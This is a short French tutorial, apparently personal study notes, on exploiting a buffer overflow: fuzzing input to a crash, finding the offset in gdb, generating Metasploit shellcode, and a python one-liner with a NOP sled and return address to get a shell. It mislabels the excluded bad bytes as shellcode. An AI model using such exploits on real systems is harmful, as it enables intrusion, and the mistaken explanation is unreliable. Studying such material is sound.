Buffer-Over-Flow ( BoF )

  1. Comment POC un BoF ?
  • executer un fichier si ce dernier vous demande un input il se peut qu’il soit vulnérable à un BoF, en effet si vous lui donnez une grande quantité de donnée en input il pourra peut être vous renvoyer l’erreur type BoF 

Segmentation Error

BRAVO NIELS T’AS TROUVÉ UNE FAILLE BoF 

  1. Comment l’exploiter ?
  • utiliser le debugger gdb 
    • gdb -q ./exe
    • grâce à un generateur de pattern vous pouvez concevoir un input en déterminant sa taille (https://wiremask.eu/tools/buffer-overflow-pattern-generator/?)
    • après l’avoir conçu vous pouvez exécuter le fichier dans gdb avec ce pattern en input on
    • Gdb vous donnera la register value où  l’overflow se produit 
    • Prenez cette valeur et cherchez sa valeur d’offset sur le site Wiremask
  • Parallèlement on va générer un shellcode sur msf:
    • msf payload(exec) > generate -b ‘\x00\x0a\x0d’ (\x00\x0a\x0d est l’hex pour la cmd shellcode )
  • Finalement nous allons pouvoir exécuterexecuter notre payload sur gdb:
    • ./exe $(python -c « print ‘A’ * ‘valeur de l’offset trouvée’ + ‘\x80\xfb\xff\xbf’ + ‘\x90’ * 16 + ‘shellcode généré par msf' »)  
  • ça y est vous avez exploité la faille BoF en injectant un shell